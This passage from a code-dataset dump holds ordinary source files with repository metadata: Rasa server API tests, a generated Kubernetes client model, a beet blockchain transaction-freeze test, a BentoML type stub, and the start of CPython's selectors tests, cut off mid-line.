payload={"text": "hello"}, ), ResponseTest( "/model/parse", { "entities": [], "intent": {"confidence": 1.0, "name": "greet"}, "text": "hello ńöñàśçií", }, payload={"text": "hello ńöñàśçií"}, ), ], ) def test_parse(rasa_app, response_test): _, response = rasa_app.post(response_test.endpoint, json=response_test.payload) rjs = response.json assert response.status == 200 assert all(prop in rjs for prop in ["entities", "intent", "text"]) assert rjs["entities"] == response_test.expected_response["entities"] assert rjs["text"] == response_test.expected_response["text"] assert rjs["intent"] == response_test.expected_response["intent"] @pytest.mark.parametrize( "response_test", [ ResponseTest( "/model/parse?emulation_mode=wit", { "entities": [], "intent": {"confidence": 1.0, "name": "greet"}, "text": "hello", }, payload={"text": "hello"}, ), ResponseTest( "/model/parse?emulation_mode=dialogflow", { "entities": [], "intent": {"confidence": 1.0, "name": "greet"}, "text": "hello", }, payload={"text": "hello"}, ), ResponseTest( "/model/parse?emulation_mode=luis", { "entities": [], "intent": {"confidence": 1.0, "name": "greet"}, "text": "hello ńöñàśçií", }, payload={"text": "hello ńöñàśçií"}, ), ], ) def test_parse_with_different_emulation_mode(rasa_app, response_test): _, response = rasa_app.post(response_test.endpoint, json=response_test.payload) assert response.status == 200 def test_parse_without_nlu_model(rasa_app_core: SanicTestClient): _, response = rasa_app_core.post("/model/parse", json={"text": "hello"}) assert response.status == 200 rjs = response.json assert all(prop in rjs for prop in ["entities", "intent", "text"]) def test_parse_on_invalid_emulation_mode(rasa_app_nlu: SanicTestClient): _, response = rasa_app_nlu.post( "/model/parse?emulation_mode=ANYTHING", json={"text": "hello"} ) assert response.status == 400 def test_train_stack_success( rasa_app, default_domain_path, default_stories_file, default_stack_config, default_nlu_data, ): domain_file = open(default_domain_path) config_file = open(default_stack_config) stories_file = open(default_stories_file) nlu_file = open(default_nlu_data) payload = dict( domain=domain_file.read(), config=config_file.read(), stories=stories_file.read(), nlu=nlu_file.read(), ) domain_file.close() config_file.close() stories_file.close() nlu_file.close() _, response = rasa_app.post("/model/train", json=payload) assert response.status == 200 assert response.headers["filename"] is not None # save model to temporary file tempdir = tempfile.mkdtemp() model_path = os.path.join(tempdir, "model.tar.gz") with open(model_path, "wb") as f: f.write(response.body) # unpack model and ensure fingerprint is present model_path = unpack_model(model_path) assert os.path.exists(os.path.join(model_path, "fingerprint.json")) def test_train_nlu_success( rasa_app, default_stack_config, default_nlu_data, default_domain_path ): domain_file = open(default_domain_path) config_file = open(default_stack_config) nlu_file = open(default_nlu_data) payload = dict( domain=domain_file.read(), config=config_file.read(), nlu=nlu_file.read() ) config_file.close() nlu_file.close() _, response = rasa_app.post("/model/train", json=payload) assert response.status == 200 # save model to temporary file tempdir = tempfile.mkdtemp() model_path = os.path.join(tempdir, "model.tar.gz") with open(model_path, "wb") as f: f.write(response.body) # unpack model and ensure fingerprint is present model_path = unpack_model(model_path) assert os.path.exists(os.path.join(model_path, "fingerprint.json")) def test_train_core_success( rasa_app, default_stack_config, default_stories_file, default_domain_path ): domain_file = open(default_domain_path) config_file = open(default_stack_config) core_file = open(default_stories_file) payload = dict( domain=domain_file.read(), config=config_file.read(), nlu=core_file.read() ) config_file.close() core_file.close() _, response = rasa_app.post("/model/train", json=payload) assert response.status == 200 # save model to temporary file tempdir = tempfile.mkdtemp() model_path = os.path.join(tempdir, "model.tar.gz") with open(model_path, "wb") as f: f.write(response.body) # unpack model and ensure fingerprint is present model_path = unpack_model(model_path) assert os.path.exists(os.path.join(model_path, "fingerprint.json")) def test_train_missing_config(rasa_app: SanicTestClient): payload = dict(domain="domain data", config=None) _, response = rasa_app.post("/model/train", json=payload) assert response.status == 400 def test_train_missing_training_data(rasa_app: SanicTestClient): payload = dict(domain="domain data", config="config data") _, response = rasa_app.post("/model/train", json=payload) assert response.status == 400 def test_train_internal_error(rasa_app: SanicTestClient): payload = dict(domain="domain data", config="config data", nlu="nlu data") _, response = rasa_app.post("/model/train", json=payload) assert response.status == 500 def test_evaluate_stories(rasa_app, default_stories_file): with open(default_stories_file, "r") as f: stories = f.read() _, response = rasa_app.post("/model/test/stories", data=stories) assert response.status == 200 js = response.json assert set(js.keys()) == { "report", "precision", "f1", "accuracy", "actions", "in_training_data_fraction", "is_end_to_end_evaluation", } assert not js["is_end_to_end_evaluation"] assert set(js["actions"][0].keys()) == { "action", "predicted", "confidence", "policy", } def test_evaluate_stories_not_ready_agent( rasa_app_nlu: SanicTestClient, default_stories_file ): with open(default_stories_file, "r") as f: stories = f.read() _, response = rasa_app_nlu.post("/model/test/stories", data=stories) assert response.status == 409 def test_evaluate_stories_end_to_end(rasa_app, end_to_end_story_file): with open(end_to_end_story_file, "r") as f: stories = f.read() _, response = rasa_app.post("/model/test/stories?e2e=true", data=stories) assert response.status == 200 js = response.json assert set(js.keys()) == { "report", "precision", "f1", "accuracy", "actions", "in_training_data_fraction", "is_end_to_end_evaluation", } assert js["is_end_to_end_evaluation"] assert set(js["actions"][0].keys()) == { "action", "predicted", "confidence", "policy", } def test_evaluate_intent(rasa_app, default_nlu_data): with open(default_nlu_data, "r") as f: nlu_data = f.read() _, response = rasa_app.post("/model/test/intents", data=nlu_data) assert response.status == 200 assert set(response.json.keys()) == {"intent_evaluation", "entity_evaluation"} def test_evaluate_intent_on_just_nlu_model( rasa_app_nlu: SanicTestClient, default_nlu_data ): with open(default_nlu_data, "r") as f: nlu_data = f.read() _, response = rasa_app_nlu.post("/model/test/intents", data=nlu_data) assert response.status == 200 assert set(response.json.keys()) == {"intent_evaluation", "entity_evaluation"} def test_evaluate_intent_with_query_param( rasa_app, trained_nlu_model, default_nlu_data ): _, response = rasa_app.get("/status") previous_model_file = response.json["model_file"] with open(default_nlu_data, "r") as f: nlu_data = f.read() _, response = rasa_app.post( "/model/test/intents?model={}".format(trained_nlu_model), data=nlu_data ) assert response.status == 200 assert set(response.json.keys()) == {"intent_evaluation", "entity_evaluation"} _, response = rasa_app.get("/status") assert previous_model_file == response.json["model_file"] def test_predict(rasa_app: SanicTestClient): data = { "Events": { "value": [ {"event": "action", "name": "action_listen"}, { "event": "user", "text": "hello", "parse_data": { "entities": [], "intent": {"confidence": 0.57, "name": "greet"}, "text": "hello", }, }, ] } } _, response = rasa_app.post( "/model/predict", json=data, headers={"Content-Type": "application/json"} ) content = response.json assert response.status == 200 assert "scores" in content assert "tracker" in content assert "policy" in content def test_retrieve_tracker_not_ready_agent(rasa_app_nlu: SanicTestClient): _, response = rasa_app_nlu.get("/conversations/test/tracker") assert response.status == 409 @freeze_time("2018-01-01") def test_requesting_non_existent_tracker(rasa_app: SanicTestClient): _, response = rasa_app.get("/conversations/madeupid/tracker") content = response.json assert response.status == 200 assert content["paused"] is False assert content["slots"] == {"location": None, "cuisine": None} assert content["sender_id"] == "madeupid" assert content["events"] == [ { "event": "action", "name": "action_listen", "policy": None, "confidence": None, "timestamp": 1514764800, } ] assert content["latest_message"] == { "text": None, "intent": {}, "entities": [], "message_id": None, "metadata": None, } @pytest.mark.parametrize("event", test_events) def test_pushing_event(rasa_app, event): cid = str(uuid.uuid1()) conversation = "/conversations/{}".format(cid) _, response = rasa_app.post( "{}/tracker/events".format(conversation), json=event.as_dict(), headers={"Content-Type": "application/json"}, ) assert response.json is not None assert response.status == 200 _, tracker_response = rasa_app.get("/conversations/{}/tracker".format(cid)) tracker = tracker_response.json assert tracker is not None assert len(tracker.get("events")) == 2 evt = tracker.get("events")[1] assert Event.from_parameters(evt) == event def test_push_multiple_events(rasa_app: SanicTestClient): cid = str(uuid.uuid1()) conversation = "/conversations/{}".format(cid) events = [e.as_dict() for e in test_events] _, response = rasa_app.post( "{}/tracker/events".format(conversation), json=events, headers={"Content-Type": "application/json"}, ) assert response.json is not None assert response.status == 200 _, tracker_response = rasa_app.get("/conversations/{}/tracker".format(cid)) tracker = tracker_response.json assert tracker is not None # there is also an `ACTION_LISTEN` event at the start assert len(tracker.get("events")) == len(test_events) + 1 assert tracker.get("events")[1:] == events def test_put_tracker(rasa_app: SanicTestClient): data = [event.as_dict() for event in test_events] _, response = rasa_app.put( "/conversations/pushtracker/tracker/events", json=data, headers={"Content-Type": "application/json"}, ) content = response.json assert response.status == 200 assert len(content["events"]) == len(test_events) assert content["sender_id"] == "pushtracker" _, tracker_response = rasa_app.get("/conversations/pushtracker/tracker") tracker = tracker_response.json assert tracker is not None evts = tracker.get("events") assert events.deserialise_events(evts) == test_events def test_sorted_predict(rasa_app: SanicTestClient): _create_tracker_for_sender(rasa_app, "sortedpredict") _, response = rasa_app.post("/conversations/sortedpredict/predict") scores = response.json["scores"] sorted_scores = sorted(scores, key=lambda k: (-k["score"], k["action"])) assert scores == sorted_scores def _create_tracker_for_sender(app: SanicTestClient, sender_id: Text) -> None: data = [event.as_dict() for event in test_events[:3]] _, response = app.put( "/conversations/{}/tracker/events".format(sender_id), json=data, headers={"Content-Type": "application/json"}, ) assert response.status == 200 def test_get_tracker_with_jwt(rasa_secured_app): # token generated with secret "core" and algorithm HS256 # on https://jwt.io/ # {"user": {"username": "testadmin", "role": "admin"}} jwt_header = { "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9." "eyJ1c2VyIjp7InVzZXJuYW1lIjoidGVzdGFkbWluIiwic" "m9sZSI6ImFkbWluIn19.NAQr0kbtSrY7d28XTqRzawq2u" "QRre7IWTuIDrCn5AIw" } _, response = rasa_secured_app.get( "/conversations/testadmin/tracker", headers=jwt_header ) assert response.status == 200 _, response = rasa_secured_app.get( "/conversations/testuser/tracker", headers=jwt_header ) assert response.status == 200 # {"user": {"username": "testuser", "role": "user"}} jwt_header = { "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9." "eyJ1c2VyIjp7InVzZXJuYW1lIjoidGVzdHVzZXIiLCJyb" "2xlIjoidXNlciJ9fQ.JnMTLYd56qut2w9h7hRQlDm1n3l" "HJHOxxC_w7TtwCrs" } _, response = rasa_secured_app.get( "/conversations/testadmin/tracker", headers=jwt_header ) assert response.status == 403 _, response = rasa_secured_app.get( "/conversations/testuser/tracker", headers=jwt_header ) assert response.status == 200 def test_list_routes(default_agent): from rasa import server app = server.create_app(default_agent, auth_token=None) routes = utils.list_routes(app) assert set(routes.keys()) == { "hello", "version", "status", "retrieve_tracker", "append_events", "replace_events", "retrieve_story", "execute_action", "predict", "add_message", "train", "evaluate_stories", "evaluate_intents", "tracker_predict", "parse", "load_model", "unload_model", "get_domain", } def test_unload_model_error(rasa_app: SanicTestClient): _, response = rasa_app.get("/status") assert response.status == 200 assert "model_file" in response.json and response.json["model_file"] is not None _, response = rasa_app.delete("/model") assert response.status == 204 _, response = rasa_app.get("/status") assert response.status == 409 def test_get_domain(rasa_app: SanicTestClient): _, response = rasa_app.get("/domain", headers={"accept": "application/json"}) content = response.json assert response.status == 200 assert "config" in content assert "intents" in content assert "entities" in content assert "slots" in content assert "templates" in content assert "actions" in content def test_get_domain_invalid_accept_header(rasa_app: SanicTestClient): _, response = rasa_app.get("/domain") assert response.status == 406 def test_load_model(rasa_app: SanicTestClient, trained_core_model): _, response = rasa_app.get("/status") assert response.status == 200 assert "fingerprint" in response.json old_fingerprint = response.json["fingerprint"] data = {"model_file": trained_core_model} _, response = rasa_app.put("/model", json=data) assert response.status == 204 _, response = rasa_app.get("/status") assert response.status == 200 assert "fingerprint" in response.json assert old_fingerprint != response.json["fingerprint"] def test_load_model_from_model_server(rasa_app: SanicTestClient, trained_core_model): _, response = rasa_app.get("/status") assert response.status == 200 assert "fingerprint" in response.json old_fingerprint = response.json["fingerprint"] endpoint = EndpointConfig("https://example.com/model/trained_core_model") with open(trained_core_model, "rb") as f: with aioresponses(passthrough=["http://127.0.0.1"]) as mocked: headers = {} fs = os.fstat(f.fileno()) headers["Content-Length"] = str(fs[6]) mocked.get( "https://example.com/model/trained_core_model", content_type="application/x-tar", body=f.read(), ) data = {"model_server": {"url": endpoint.url}} _, response = rasa_app.put("/model", json=data) assert response.status == 204 _, response = rasa_app.get("/status") assert response.status == 200 assert "fingerprint" in response.json assert old_fingerprint != response.json["fingerprint"] import rasa.core.jobs rasa.core.jobs.__scheduler = None def test_load_model_invalid_request_body(rasa_app: SanicTestClient): _, response = rasa_app.put("/model") assert response.status == 400 def test_load_model_invalid_configuration(rasa_app: SanicTestClient): data = {"model_file": "some-random-path"} _, response = rasa_app.put("/model", json=data) assert response.status == 400 def test_execute(rasa_app: SanicTestClient): _create_tracker_for_sender(rasa_app, "test_execute") data = {"name": "utter_greet"} _, response = rasa_app.post("/conversations/test_execute/execute", json=data) assert response.status == 200 parsed_content = response.json assert parsed_content["tracker"] assert parsed_content["messages"] def test_execute_with_missing_action_name(rasa_app: SanicTestClient): test_sender = "test_execute_with_missing_action_name" _create_tracker_for_sender(rasa_app, test_sender) data = {"wrong-key": "utter_greet"} _, response = rasa_app.post( "/conversations/{}/execute".format(test_sender), json=data ) assert response.status == 400 def test_execute_with_not_existing_action(rasa_app: SanicTestClient): test_sender = "test_execute_with_not_existing_action" _create_tracker_for_sender(rasa_app, test_sender) data = {"name": "ka[pa[opi[opj[oj[oija"} _, response = rasa_app.post( "/conversations/{}/execute".format(test_sender), json=data ) assert response.status == 500 @pytest.mark.parametrize( "input_channels, output_channel_to_use, expected_channel", [ (None, "slack", CollectingOutputChannel), ([], None, CollectingOutputChannel), ([RestInput()], "slack", CollectingOutputChannel), ([RestInput()], "rest", CollectingOutputChannel), ([RestInput(), SlackInput("test")], "slack", SlackBot), ], ) def test_get_output_channel( input_channels: List[Text], output_channel_to_use, expected_channel: Type ): request = MagicMock() app = MagicMock() app.input_channels = input_channels request.app = app request.args = {"output_channel": output_channel_to_use} actual = rasa.server._get_output_channel(request, None) assert isinstance(actual, expected_channel) @pytest.mark.parametrize( "input_channels, expected_channel", [ ([], CollectingOutputChannel), ([RestInput()], CollectingOutputChannel), ([RestInput(), SlackInput("test")], SlackBot), ], ) def test_get_latest_output_channel(input_channels: List[Text], expected_channel: Type): request = MagicMock() app = MagicMock() app.input_channels = input_channels request.app = app request.args = {"output_channel": "latest"} tracker = DialogueStateTracker.from_events( "default", [UserUttered("text", input_channel="slack")] ) actual = rasa.server._get_output_channel(request, tracker) assert isinstance(actual, expected_channel) def test_app_when_app_has_no_input_channels(): request = MagicMock() class NoInputChannels: pass request.app = NoInputChannels() actual = rasa.server._get_output_channel( request, DialogueStateTracker.from_events("default", []) ) assert isinstance(actual, CollectingOutputChannel)
bd63cfe681913e3127aeabfd924d544aba02e68e
32c56293475f49c6dd1b0f1334756b5ad8763da9
/google-cloud-sdk/lib/third_party/kubernetes/client/models/v1beta1_api_service_list.py
881cd62e4beaeedd82f3052769f50e052fb43ba9
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0", "MIT" ]
permissive
bopopescu/socialliteapp
b9041f17f8724ee86f2ecc6e2e45b8ff6a44b494
85bb264e273568b5a0408f733b403c56373e2508
refs/heads/master
2022-11-20T03:01:47.654498
2020-02-01T20:29:43
2020-02-01T20:29:43
282,403,750
0
0
MIT
2020-07-25T08:31:59
2020-07-25T08:31:59
null
UTF-8
Python
false
false
5,935
py
# coding: utf-8 """ Kubernetes No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.14.4 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from pprint import pformat from six import iteritems import re class V1beta1APIServiceList(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'api_version': 'str', 'items': 'list[V1beta1APIService]', 'kind': 'str', 'metadata': 'V1ListMeta' } attribute_map = { 'api_version': 'apiVersion', 'items': 'items', 'kind': 'kind', 'metadata': 'metadata' } def __init__(self, api_version=None, items=None, kind=None, metadata=None): """ V1beta1APIServiceList - a model defined in Swagger """ self._api_version = None self._items = None self._kind = None self._metadata = None self.discriminator = None if api_version is not None: self.api_version = api_version self.items = items if kind is not None: self.kind = kind if metadata is not None: self.metadata = metadata @property def api_version(self): """ Gets the api_version of this V1beta1APIServiceList. APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#resources :return: The api_version of this V1beta1APIServiceList. :rtype: str """ return self._api_version @api_version.setter def api_version(self, api_version): """ Sets the api_version of this V1beta1APIServiceList. APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#resources :param api_version: The api_version of this V1beta1APIServiceList. :type: str """ self._api_version = api_version @property def items(self): """ Gets the items of this V1beta1APIServiceList. :return: The items of this V1beta1APIServiceList. :rtype: list[V1beta1APIService] """ return self._items @items.setter def items(self, items): """ Sets the items of this V1beta1APIServiceList. :param items: The items of this V1beta1APIServiceList. :type: list[V1beta1APIService] """ if items is None: raise ValueError('Invalid value for `items`, must not be `None`') self._items = items @property def kind(self): """ Gets the kind of this V1beta1APIServiceList. Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#types-kinds :return: The kind of this V1beta1APIServiceList. :rtype: str """ return self._kind @kind.setter def kind(self, kind): """ Sets the kind of this V1beta1APIServiceList. Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#types-kinds :param kind: The kind of this V1beta1APIServiceList. :type: str """ self._kind = kind @property def metadata(self): """ Gets the metadata of this V1beta1APIServiceList. :return: The metadata of this V1beta1APIServiceList. :rtype: V1ListMeta """ return self._metadata @metadata.setter def metadata(self, metadata): """ Sets the metadata of this V1beta1APIServiceList. :param metadata: The metadata of this V1beta1APIServiceList. :type: V1ListMeta """ self._metadata = metadata def to_dict(self): """ Returns the model properties as a dict """ result = {} for attr, _ in iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list( map(lambda x: x.to_dict() if hasattr(x, 'to_dict') else x, value)) elif hasattr(value, 'to_dict'): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict( map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], 'to_dict') else item, value.items())) else: result[attr] = value return result def to_str(self): """ Returns the string representation of the model """ return pformat(self.to_dict()) def __repr__(self): """ For `print` and `pprint` """ return self.to_str() def __eq__(self, other): """ Returns true if both objects are equal """ if not isinstance(other, V1beta1APIServiceList): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """ Returns true if both objects are not equal """ return not self == other
8cfa7cb535469c42203abb7300b424594d6d4a35
aafba3346120db47cf87ba67dee21848576c337f
/tests/core/full_node/test_initial_freeze.py
732854bb12e3111b9db858b3c1b94eb607b57f7c
[ "Apache-2.0" ]
permissive
beetseeds/beet-blockchain
9f7fa9e221364bb865a8b9f60455afc82b4a022b
e5d93f1f9041c48dd0c38416d845c8675bf22738
refs/heads/main
2023-07-14T21:30:18.089664
2021-09-10T01:40:00
2021-09-10T01:40:00
401,708,903
5
3
Apache-2.0
2021-09-05T09:26:51
2021-08-31T13:14:50
Python
UTF-8
Python
false
false
8,374
py
import asyncio import time import pytest from beet.consensus.block_rewards import calculate_base_farmer_reward, calculate_pool_reward from beet.consensus.blockchain import ReceiveBlockResult from beet.protocols import full_node_protocol, wallet_protocol from beet.protocols.protocol_message_types import ProtocolMessageTypes from beet.server.outbound_message import Message from beet.simulator.full_node_simulator import FullNodeSimulator from beet.simulator.simulator_protocol import FarmNewBlockProtocol from beet.types.mempool_inclusion_status import MempoolInclusionStatus from beet.types.peer_info import PeerInfo from beet.util.errors import Err from beet.util.ints import uint16, uint32 from beet.wallet.transaction_record import TransactionRecord from tests.core.full_node.test_full_node import add_dummy_connection from tests.setup_nodes import bt, self_hostname, setup_simulators_and_wallets from tests.time_out_assert import time_out_assert @pytest.fixture(scope="module") def event_loop(): loop = asyncio.get_event_loop() yield loop class TestTransactions: @pytest.fixture(scope="function") async def wallet_node_30_freeze(self): async for _ in setup_simulators_and_wallets(1, 1, {"INITIAL_FREEZE_END_TIMESTAMP": (time.time() + 60)}): yield _ @pytest.mark.asyncio async def test_transaction_freeze(self, wallet_node_30_freeze): num_blocks = 5 full_nodes, wallets = wallet_node_30_freeze full_node_api: FullNodeSimulator = full_nodes[0] full_node_server = full_node_api.server wallet_node, server_2 = wallets[0] wallet = wallet_node.wallet_state_manager.main_wallet ph = await wallet.get_new_puzzlehash() incoming_queue, node_id = await add_dummy_connection(full_node_server, 12312) await server_2.start_client(PeerInfo(self_hostname, uint16(full_node_server._port)), None) for i in range(num_blocks): await full_node_api.farm_new_transaction_block(FarmNewBlockProtocol(ph)) funds = sum( [calculate_pool_reward(uint32(i)) + calculate_base_farmer_reward(uint32(i)) for i in range(1, num_blocks)] ) # funds += calculate_base_farmer_reward(0) await asyncio.sleep(2) print(await wallet.get_confirmed_balance(), funds) await time_out_assert(10, wallet.get_confirmed_balance, funds) assert int(time.time()) < full_node_api.full_node.constants.INITIAL_FREEZE_END_TIMESTAMP tx: TransactionRecord = await wallet.generate_signed_transaction(100, ph, 0) spend = wallet_protocol.SendTransaction(tx.spend_bundle) response = await full_node_api.send_transaction(spend) assert wallet_protocol.TransactionAck.from_bytes(response.data).status == MempoolInclusionStatus.FAILED peer = full_node_server.all_connections[node_id] new_spend = full_node_protocol.NewTransaction(tx.spend_bundle.name(), 1, 0) await full_node_api.new_transaction(new_spend, peer=peer) async def new_transaction_not_requested(incoming): await asyncio.sleep(3) while not incoming.empty(): response, peer = await incoming.get() if ( response is not None and isinstance(response, Message) and response.type == ProtocolMessageTypes.request_transaction.value ): return False return True await time_out_assert(10, new_transaction_not_requested, True, incoming_queue) new_spend = full_node_protocol.RespondTransaction(tx.spend_bundle) response = await full_node_api.respond_transaction(new_spend, peer=peer) assert response is None for i in range(26): await asyncio.sleep(2) await full_node_api.farm_new_transaction_block(FarmNewBlockProtocol(ph)) if int(time.time()) > full_node_api.full_node.constants.INITIAL_FREEZE_END_TIMESTAMP: break new_spend = full_node_protocol.NewTransaction(tx.spend_bundle.name(), 1, 0) await full_node_api.new_transaction(new_spend, peer) async def new_spend_requested(incoming, new_spend): while not incoming.empty(): response, peer = await incoming.get() if ( response is not None and isinstance(response, Message) and response.type == ProtocolMessageTypes.request_transaction.value ): request = full_node_protocol.RequestTransaction.from_bytes(response.data) if request.transaction_id == new_spend.transaction_id: return True return False await time_out_assert(10, new_spend_requested, True, incoming_queue, new_spend) tx: TransactionRecord = await wallet.generate_signed_transaction(100, ph, 0) spend = wallet_protocol.SendTransaction(tx.spend_bundle) response = await full_node_api.send_transaction(spend) assert response is not None assert wallet_protocol.TransactionAck.from_bytes(response.data).status == MempoolInclusionStatus.SUCCESS assert ProtocolMessageTypes(response.type) == ProtocolMessageTypes.transaction_ack @pytest.mark.asyncio async def test_invalid_block(self, wallet_node_30_freeze): num_blocks = 5 full_nodes, wallets = wallet_node_30_freeze full_node_api: FullNodeSimulator = full_nodes[0] full_node_server = full_node_api.server wallet_node, server_2 = wallets[0] wallet = wallet_node.wallet_state_manager.main_wallet ph = await wallet.get_new_puzzlehash() full_node_api.use_current_time = True full_node_api.time_per_block = 3 await server_2.start_client(PeerInfo(self_hostname, uint16(full_node_server._port)), None) for i in range(num_blocks): await full_node_api.farm_new_transaction_block(FarmNewBlockProtocol(ph)) funds = sum( [calculate_pool_reward(uint32(i)) + calculate_base_farmer_reward(uint32(i)) for i in range(1, num_blocks)] ) await asyncio.sleep(2) print(await wallet.get_confirmed_balance(), funds) await time_out_assert(10, wallet.get_confirmed_balance, funds) tx: TransactionRecord = await wallet.generate_signed_transaction(100, ph, 0) current_blocks = await full_node_api.get_all_full_blocks() new_blocks = bt.get_consecutive_blocks( 1, block_list_input=current_blocks, transaction_data=tx.spend_bundle, guarantee_transaction_block=True ) last_block = new_blocks[-1:][0] new_blocks_no_tx = bt.get_consecutive_blocks( 1, block_list_input=current_blocks, guarantee_transaction_block=True ) last_block_no_tx = new_blocks_no_tx[-1:][0] assert int(time.time()) < full_node_api.full_node.constants.INITIAL_FREEZE_END_TIMESTAMP result, error, fork = await full_node_api.full_node.blockchain.receive_block(last_block, None) assert error is not None assert error is Err.INITIAL_TRANSACTION_FREEZE assert result is ReceiveBlockResult.INVALID_BLOCK assert int(time.time()) < full_node_api.full_node.constants.INITIAL_FREEZE_END_TIMESTAMP while True: if int(time.time()) > full_node_api.full_node.constants.INITIAL_FREEZE_END_TIMESTAMP: break await asyncio.sleep(1) result, error, fork = await full_node_api.full_node.blockchain.receive_block(last_block_no_tx, None) assert error is None assert result is ReceiveBlockResult.NEW_PEAK after_freeze_blocks = bt.get_consecutive_blocks(24, block_list_input=new_blocks_no_tx) for block in after_freeze_blocks: await full_node_api.full_node.blockchain.receive_block(block, None) new_blocks = bt.get_consecutive_blocks( 1, block_list_input=after_freeze_blocks, transaction_data=tx.spend_bundle, guarantee_transaction_block=True ) last_block = new_blocks[-1:][0] result, error, fork = await full_node_api.full_node.blockchain.receive_block(last_block, None) assert error is None assert result is ReceiveBlockResult.NEW_PEAK
3885aebb72cf173ed1f34761cc278cbade2a89c0
292cec77b5003a2f80360d0aee77556d12d990f7
/typings/fs/opener/appfs.pyi
2482685ff2801c22c4fb2e0cd2c5f3b9f9f5127e
[ "Apache-2.0" ]
permissive
yubozhao/BentoML
194a6ec804cc1c6dbe7930c49948b6707cbc3c5f
d4bb5cbb90f9a8ad162a417103433b9c33b39c84
refs/heads/master
2022-12-17T00:18:55.555897
2022-12-06T00:11:39
2022-12-06T00:11:39
178,978,385
3
0
Apache-2.0
2020-12-01T18:17:15
2019-04-02T01:53:53
Python
UTF-8
Python
false
false
506
pyi
import typing from typing import Text, Union from ..appfs import _AppFS from ..subfs import SubFS from .base import Opener from .parse import ParseResult from .registry import registry if typing.TYPE_CHECKING: ... @registry.install class AppFSOpener(Opener): protocols = ... _protocol_mapping = ... def open_fs( self, fs_url: Text, parse_result: ParseResult, writeable: bool, create: bool, cwd: Text, ) -> Union[_AppFS, SubFS[_AppFS]]: ...
c2cafed7af5e12bc673a1fd9dc109743cfb833de
ce745254ee1c55f06c90b2c0739a4db29efa9913
/src/test/python/cpython-3f944f44ee41/Lib/test/test_selectors.py
8f83c90a7ad169e7b562183c7a3a0b03f5e6df9d
[ "MIT" ]
permissive
bkiers/python3-parser
5deb0c681e42b07d459758d864fd0689bf26dbad
5a7e097f2dba8d38fa41ebfc95c8bdf4da3042dd
refs/heads/master
2022-10-31T22:02:07.484767
2021-11-17T09:31:49
2021-11-17T09:31:49
20,738,250
39
25
MIT
2022-12-13T08:42:28
2014-06-11T19:34:28
Python
UTF-8
Python
false
false
14,138
py
import errno import os import random import selectors import signal import socket from test import support from time import sleep import unittest import unittest.mock try: from time import monotonic as time except ImportError: from time import time as time try: import resource except ImportError: resource = None if hasattr(socket, 'socketpair'): socketpair = socket.socketpair else: def socketpair(family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0): with socket.socket(family, type, proto) as l: l.bind((support.HOST, 0)) l.listen(3) c = socket.socket(family, type, proto) try: c.connect(l.getsockname()) caddr = c.getsockname() while True: a, addr = l.accept() # check that we've got the correct client if addr == caddr: return c, a a.close() except OSError: c.close() raise def find_ready_matching(ready, flag): match = [] for key, events in ready: if events & flag: match.append(key.fileobj) return match class BaseSelectorTestCase(unittest.TestCase): def make_socketpair(self): rd, wr = socketpair() self.addCleanup(rd.close) self.addCleanup(wr.close) return rd, wr def test_register(self): s = self.SELECTOR() self.addCleanup(s.close) rd, wr = self.make_socketpair() key = s.register(rd, selectors.EVENT_READ, "data") self.assertIsInstance(key, selectors.SelectorKey) self.assertEqual(key.fileobj, rd) self.assertEqual(key.fd, rd.fileno()) self.assertEqual(key.events, selectors.EVENT_READ) self.assertEqual(key.data, "data") # register an unknown event self.assertRaises(ValueError, s.register, 0, 999999) # register an invalid FD self.assertRaises(ValueError, s.register, -10, selectors.EVENT_READ) # register twice self.assertRaises(KeyError, s.register, rd, selectors.EVENT_READ) # register the same FD, but with a different object self.assertRaises(KeyError, s.register, rd.fileno(), selectors.EVENT_READ) def test_unregister(self): s = self.SELECTOR() self.addCleanup(s.close) rd, wr = self.make_socketpair() s.register(rd, selectors.EVENT_READ) s.unregister(rd) # unregister an unknown file obj self.assertRaises(KeyError, s.unregister, 999999) # unregister twice self.assertRaises(KeyError, s.unregister, rd) def test_unregister_after_fd_close(self): s = self.SELECTOR() self.addCleanup(s.close) rd, wr = self.make_socketpair() r, w = rd.fileno(), wr.fileno() s.register(r, selectors.EVENT_READ) s.register(w, selectors.EVENT_WRITE) rd.close() wr.close() s.unregister(r) s.unregister(w) @unittest.skipUnless(os.name == 'posix', "requires posix") def test_unregister_after_fd_close_and_reuse(self): s = self.SELECTOR() self.addCleanup(s.close) rd, wr = self.make_socketpair() r, w = rd.fileno(), wr.fileno() s.register(r, selectors.EVENT_READ) s.register(w, selectors.EVENT_WRITE) rd2, wr2 = self.make_socketpair() rd.close() wr.close() os.dup2(rd2.fileno(), r) os.dup2(wr2.fileno(), w) self.addCleanup(os.close, r) self.addCleanup(os.close, w) s.unregister(r) s.unregister(w) def test_unregister_after_socket_close(self): s = self.SELECTOR() self.addCleanup(s.close) rd, wr = self.make_socketpair() s.register(rd, selectors.EVENT_READ) s.register(wr, selectors.EVENT_WRITE) rd.close() wr.close() s.unregister(rd) s.unregister(wr) def test_modify(self): s = self.SELECTOR() self.addCleanup(s.close) rd, wr = self.make_socketpair() key = s.register(rd, selectors.EVENT_READ) # modify events key2 = 